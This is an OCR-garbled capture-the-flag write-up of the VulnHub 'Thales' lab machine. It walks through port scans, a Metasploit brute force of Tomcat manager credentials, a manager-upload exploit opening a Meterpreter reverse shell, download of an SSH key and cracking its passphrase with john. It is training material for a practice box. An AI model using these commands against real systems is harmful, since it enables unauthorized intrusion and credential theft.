Thales

This is a box from vulnhub that is rated easy by
the author. The box teaches you how to use
metasploit as a framework, how to get ssh

hashes and crack them using a tool called john
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Currently scanning: Finished! | Screen View: Unique Hosts

The first step 1s to get the IP address of our target

25 Captured ARP Req/Rep packets, from 6 hosts. Total size: 1500

machine where we used a tool called netdiscover,
it i1s used to scan the network. To Scan the

192.168.192.113 08:00:27:1c:bb:de 60 PCS Systemtechnik GmbH
network, I used the following command

Netdiscover —r 192.168.192.113/24

The target ip i1s the ip address that has the host

name of pcs systemtechnik GmbH

Note: to scan for other devices on the network
you need to first of all get your ip address by
typing in if config then using your ip address you

scan the whole subnet
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Next, I scanned the target 1p 192.168.192.113 using

nmap -sV -sC -p- 192.168.192.113 -oN nmap.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 03:55 EDT
Nmap scan report for 192.168.192.113
Host is up (0.00018s latency).

Not shown: 65533 closed tcp ports (reset) . }l I: }l 1
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu@.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: ’

| 2048 8c19ab9172a571d86d751d8F65dfe132 (RSA) that port 22 and 8080 are open. We can’t do much
| 256 906eadeed5296cb97b05dbc6825c19bf (ECDSA)

256 544d7be8f97f21343eed0fd9fe93bf00 (ED25519 . ) : :
éasg/tcp aperi, REtnaeEREETe Toncat i ) with port 22 because we don’t have login credentials,
| _http-title: Apache Tomcat/9.0.52
| _http-favicon: Apache Tomcat

MAC Address: 08:00:27:1C:BB:DE (Oracle VirtualBox virtual NIC) port 8080 WOUld be our ﬁI'St target.

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

nmap to see what ports are open and services are

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 25.74 seconds BU.t before mOVing to exploring the W@b application I

# Nmap 7.93.scan initiated Wed Jun 14 04:11:29 2023 as: nmap -sV --script http-enum -p 8080 -oN nmap2.txt 192.168.192.113 .
Nnap scan report for 192.168.192.113 had performed another nmap scan using the nmap

Host is up (0.00042s latency).

PORT  STATE SERVICE VERSION script engine http-enum to enumerate the website for

8080/tcp open http  Apache Tomcat 9.0.52

| http-enum: .

|  /examples/: Sample scripts potentlal resources.
|  /manager/html/upload: Apache Tomcat (401 )

|  /manager/html: Apache Tomcat (401 )

|_ /docs/: Potentially interesting folder

MAC Address: 08:00:27:1C:BB:DE (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 14 04:12:02 2023 -- 1 IP address (1 host up) scanned in 33.51 seconds

Author: Kharim Mchatta
D



Al Navigating to http://192.168.162.113:8080 a web

Docs N Kali Forums X Kali NetHunter xploit-DB Google Hacking DB OffSec Assetnote Wordlists ' To Hex, XOR - CyberChef [l DecryptaMessage - C...
Home Documentation Configuration Examples Wiki Mailing Lists Find Help apphCatIOIl Was 10 aded Wthh Was an ap ache tomcat
Apache Tomcat/9.0.52 J APACHE sezmasasssue

default page as nmap had reported. Then I navigate to

™ Recommended Reading: Server Status

Security Considerations How-To PTT—— / managel'/ htm]. Wthh WaS a 10g1n page, I Couldn ,t b€
Manager Application How-To _

Clustering/Session Replication How-To | Host Manager

able to do anything because I had no credentials to

Developer Quick Start

Tomcat Setup Realms & AAA Examples Servlet Specifications

e —— login

Q  192.168.192.7:8080/manager/html

@ 192.168.192.7:8080
This site is asking you to sign in.
Username

Password
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. /Desktop/vilikub/thales Next, I decided to go and perform asset discovery but
192.168.192.7:8080 -w /root/Desktop/wordlists/common.txt

what dirsearch had returned was the same assets that

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4715 nmap had returned, SO there was nOthlng SpeCIal here' [

Output File: t/.di h 15/192.168.192.7-8080_23-06-17_06-04-36.txt : : : :
WEPUL Eries JrooL/ rseRrch/reports/id ’ < = * tried using Nikto but also I was getting the same results.

Error Log: /root/.dirsearch/logs/errors-23-06-17_06-04-36.1log

Target: http://192.168.192.7:8

[06:04:36] Starting:

/docs/
-> /examples/

-> /host-manager/
/manager/
/shell/

Task Completed

~/Desktop/vulnhub/thales
) -h http://192.168.192.7:8080/

Target IP: 192.168.192.7

Target Hostname: 192.168.192.7

Target Port: 8080

Start Time: 2023-06-17 06:14:15 (GMT-4)

Server: No banner retrieved

/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Head
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a dif
rker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
No CGI Directories found (use '-C all' to force check all possible dirs)
/favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https
OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
/examples/servlets/index.html: Apache Tomcat default JSP pages present.
/examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/c
/manager/html: Default Tomcat Manager / Host Manager interface found.
/host-manager/html: Default Tomcat Manager / Host Manager interface found.
/manager/status: Default Tomcat Server Status interface found.

L o S S e e i =
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msf6 > search tomcat

Then I went to metasploit frame-work and searched for

tomcat and brought for me a list of auxiliaries and
Disclosure Date Rank

auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 normal GXPIOitS. Going through the results | found an auxﬂiary
exploit/multi/http/struts_dev_mode 2012-01-06 e 2N

exploit/multi/http/struts2_namespace_ognl 2018-08-22 : ent

exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual scanner Wthh wWas gOIHg to scan the target lp address for
auxiliary/admin/http/fomcat_ghostcat 2020-02-20 normal

exploit/windows/http/tomeat_cgi_cmdlineargs 2019-04-10 - ent

exploit/multi/http/Eomcat_mgr_deploy 2009-11-09 ellent 1 ]
exploit/multi/http/temeat mgr_upload 2009-11-09 el (1(3fE1111t (:r(3(1firlt1;lls' I_Ifirl(:(i’ I 118(3(1 1t
auxiliary/dos/http/apache_tomeat_transfer_encoding 2010-07-09 normal

auxiliary/scanner/http/tomecat_enum normal

exploit/linux/local/temeat_ubuntu_log_init_priv_esc 2016-09-30 manual

exploit/multi/http/atlassian_confluence_webwork_ognl_injection 2021-08-25 |

exploit/windows/http/cayin_xpost_sql_rce 2020-06-04

exploit/multi/http/cisco_dcnm_upload_2019 2019-06-26

exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec 2021-05-05
exploit/linux/http/cisco_hyperflex_file_upload_rce 2021-05-05
exploit/linux/http/cpi_tararchive_upload 2019-05-15

exploit/linux/http/cisco_prime_inf_rce 2018-10-04 excellent
post/multi/gather/fomcat_gather normal
auxiliary/dos/http/hashcollision_dos 2011-12-28 normal
auxiliary/admin/http/ibm_drm_download 2020-04-21
exploit/linux/http/lucee_admin_imgprocess_file_write 2021-01-15
exploit/linux/http/mobileiron_core_log4shell 2021-12-12
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07
exploit/multi/http/spring_framework_rce_spring4shell 2022-03-31
auxiliary/admin/http/tomcat_administration normal
auxiliary/scanner/http/tomeat_mgr login normal
exploit/multi/http/tomeat_jsp_upload_bypass 2017-10-03 : 1
auxiliary/admin/http/tomea€_utf8_traversal 2009-01-09 normal
auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09 normal
post/windows/gather/enum_tomcat normal

Interact with a module by name or index. For example info 30
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> use 26
auxiliary(

msf6
msf6

) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name
BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING
PASSWORD
PASS_FILE

Proxies
RHOSTS

RPORT

SSL
STOP_ON_SUCCESS
TARGETURI
THREADS
USERNAME
USERPASS_FILE

USER_AS_PASS
USER_FILE

VERBOSE
VHOST

View the full module

Current Setting

/usr/share/metasploit-framework/data/wordlists/tomcat_
mgr_default_pass.txt

8080

false

false
/manager/html
1

/usr/share/metasploit-framework/data/wordlists/tomcat_
mgr_default_userpass.txt

false
/usr/share/metasploit-framework/data/wordlists/tomcat_
mgr_default_users.txt

true

info with the info info -d command.

Required Description

Try blank pas
yes How fast to b
no Try each user
no Add all passw
no Add all users
no Skip existing
no The HTTP pass
no File containi

no A proxy chain
The target ho
1
The target po
Negotiate SSL
Stop guessing
URI for Manag
The number of
The HTTP user
File containi

Try the usern
File containi

Whether to pr
HTTP server v

I then selected option number 26, then I looked at

what are the perimeter requirements that it needed by

typing in show options, and the scanner required a

remote host ip address and username
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msf6 auxiliary(

rhost => 192.168.192.72

msf6 auxiliary(
username => tomcat
msf6 auxiliary(
verbose => false
msf6 auxiliary(

) > set rhost 192.168.192.72
) > set username tomcat
) > set verbose false

) > exploit

[+] 192.168.192.72:8080 - Login Successful: tomcat:rolel
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary(

“ C o

KaliLinux #8 KaliTools @ KaliDocs M KaliForums X Kali NetHunter

QO A 192.168.192.72

Exploit-DB

) >

Google Hacking DB OffSec Assetnote Wordlists W T

Tomcat Web Application]

Message:

‘ox

Manager

List Applications

HTML Manager Help

Applications

Path

Version

Display Name Running

/

None specified

Welcome to Tomcat

true

Then I set up all the requirements that were needed
for the scanner and then clicked exploit, once it had
finished it had retrieved credentials which was
tomcat:rolel, then I tested out the credentials on the

web application and they worked.
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Matching Modules Next, was to exploit the web application and get a

S e et meterpreter shell. I used the manager upload exploit

auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 . .
exploit/milti/http/struts_dev_mode 2012-01-06 CREE UL to get a non interactive shell.
exploit/multi/http/struts2_namespace_ognl 2018-08-22

exploit/multi/http/struts_code_exec_classloader 2014-03-06

auxiliary/admin/http/fomeat_ghostcat 2020-02-20

exploit/windows/http/temecat_cgi_cmdlineargs 2019-04-10

exploit/multi/http/tomcat_mgr_deploy 2009-11-09

exploit/multi/http/tomeat_mer upload 2009-11-09

auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09

auxiliary/scanner/http/temecat_enum

exploit/linux/local/femeat_ubuntu_log_init_priv_esc 2016-09-30
exploit/multi/http/atlassian_confluence_webwork_ognl_injection 2021-08-25

exploit/windows/http/cayin_xpost_sql_rce 2020-06-04

exploit/multi/http/cisco_dcnm_upload_2019 2019-06-26
exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec 2021-05-05

exploit/linux/http/cisco_hyperflex_file_upload_rce 2021-05-05
exploit/linux/http/cpi_tararchive_upload 2019-05-15

exploit/linux/http/cisco_prime_inf_rce 2018-10-04
post/multi/gather/tomcat_gather

auxiliary/dos/http/hashcollision_dos 2011-12-28
auxiliary/admin/http/ibm_drm_download 2020-04-21
exploit/linux/http/lucee_admin_imgprocess_file_write 2021-01-15
exploit/linux/http/mobileiron_core_log4shell 2021-12-12
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07
exploit/multi/http/spring_framework_rce_spring4shell 2022-03-31
auxiliary/admin/http/temcat_administration
auxiliary/scanner/http/tomcat_mgr_login
exploit/multi/http/Eomcat_jsp_upload_bypass 2017-10-03
auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09
auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09
post/windows/gather/enum_tomcat

Interact with a module by name or index. For example i
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msf6 > use 7
No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

Name Current Setting Required Description

HttpPassword The password for the specified username

HttpUsername The username to authenticate as

Proxies A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metas
RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connections

TARGETURI /manager The URI path of the manager app (/html/upload and /undeploy will be
VHOST HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST 192.168.192.46 vyes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

msf6 exploit( ) > set rhost 192.168.192.7
rhost => 192.168.192.7

msf6 exploit( ) > set httpusername tomcat
httpusername => tomcat

msf6 exploit( ) > set httppassword rolel
httppassword => rolel

msf6 exploit( ) > set rport 8080

rport => 8080

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.192.46: 4444

Retrieving session ID and CSRF token...

Uploading and deploying xTtS3sPt...

Executing xTtS3sPt...

Undeploying xTtS3sPt ...

Sending stage (58829 bytes) to 192.168.192.7

Undeployed at /manager/html/undeploy

Meterpreter session 1 opened (192.168.192.46:4444 -> 192.168.192.7:59466) at 2023-06-17 04:45:26 -0400

meterpreter > [J

[ selected the exploit and then checked the
requirements which it needed the username and
password and the remote host ip. I prefilled in the
requirement and typed in exploit and I managed to
get a meterpreter shell or a non interactive shell if you

may
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EMLSpprvLeL 2 2 Then I listed the directories and so the home directory, I

Listing: /home

changed directory to home/thales and tried to read the

Size Last modified

e I e i) notes and user files but I couldn’t simply because I was

terpret d thal .
ST L not logged in as user thales. Then I saw the .ssh file where

[ changed directory to it and downloaded the 1d_rsa key

Last modified Name
100001/ i 2021-10-14 :30: .bash_history
100445/r--r--r-x 2018-04-04 14:30: .bash_logout
100445/r--r--r-x 2018-04-04 14:30: .bashrc
040001/ 2021-08-15 :58: .cache
040001/ 2021-08-15 12:58: .gnupg
040555/r-Xr-xr-x i 2021-08-15 :50: .local
100445/r--r--r-x 2018-04-04 14:30: .profile
100445/r--r--r-x 2021-08-15 :50: .selected_editor
040777 / rwXrwxrwx 2021-08-16 :34: .ssh
100445/r--r--r-x 2021-10-14 06:45: .sudo_as_admin_successful
100444 /r--r--r—- 2021-10-14 :36: notes.txt
100000/ 2021-08-15 :18: user.txt

meterpreter > cd .
meterpreter > 1s

Type Last modified Name
100444 /r--r--r-- fil 2021-08-16 16:34:04 -0400 id_rsa
100444 /r--r--r-- fil 2021-08-16 16:34:04 -0400 1id_rsa.pub

meterpreter >

meterpreter > download id_rsa /root/Desktop/vulnhub/thales
Downloading: id_rsa -> /root/Desktop/vulnhub/thales/id_rsa
Downloaded 1.72 KiB of 1.72 KiB (100.0%): id_rsa -> /root/Desktop/vulnhub/thales/id_rsa
Completed : id_rsa -> /root/Desktop/vulnhub/thales/id_rsa

meterpreter >
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~/Desktop/vulnhub/thales After downloading the key, I got the hash of the key and

locate ssh2john
/usr/bin/ssh2john

{ust/share/jonn, sshajolngy, . . then I passed it to john and cracked the passphrase of
/usr/share/john/__pycache__/ssh2john.cpython-311.pyc

/70

/Daxk op//vul s/ thal e the key which was vodka06. then I went back to

hn.py id_rsa > sshhash

~/Desktop/vulnhub/thales
john --wordlist=/us 1are/wordlists/rockyou.txt sshhash
Using default input encoding: UTF-8

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) : :
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is © for all loaded hashes PYthOH shell to upgmde from non interactive shell to

Cost 2 (iteration count) is 1 for all loaded hashes

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06 (id_rsa)

meterpreter > shell switched user from tomcat to thales, it required a
rocess 3 created.

Channel &4 created.

python3 -c "import pty;pty.spawn('/bin/bash')" - .

toncataniletus: /hone/thales/.ssh$ Ls password which I inserted the password we had
1s

id_rsa id_rsa.pub . . i

T TR obtained from cracking the 1d_rsa key and I was able to
tomcat@miletus:/home/thales$ 1s

15 . .

selsdhil il login as thales, once I was in, I was able to read the user
tomcat@miletus:/home/thales$ cat notes.txt

cat notes.txt

I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh”. Good Luck. ;1{1(i» note fil(:_

tomcat@miletus:/home/thales$ cat user.txt

cat user.txt

cat: user.txt: Permission denied

tomcat@miletus:/home/thales$ su thales

su thales

Password: vodka@6

meterpreter and typed in shell and then I pasted in the

interactive shell. Once 1 got an interactive shell, I

thalesgmiletus:~$ 1s

1s

notes.txt user.txt
thalesamiletus:~$ cat user.txt
cat user.txt
a837c0b5d2a8a07225fd9905f5a0e9c4
thalesamiletus:~$ ]
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Summary

Perform nmap

Open the web application

We get login page

Perform asset discovery using dirsearch and Nikto
Run metasploit

Get a non interactive shell

Download private key

Crack key using john and get password

O 0 N o Uk w N RE

Get interactive shell from meterpreter
10. Change user to Thales

11. Get access to user.txt file and notes.txt file
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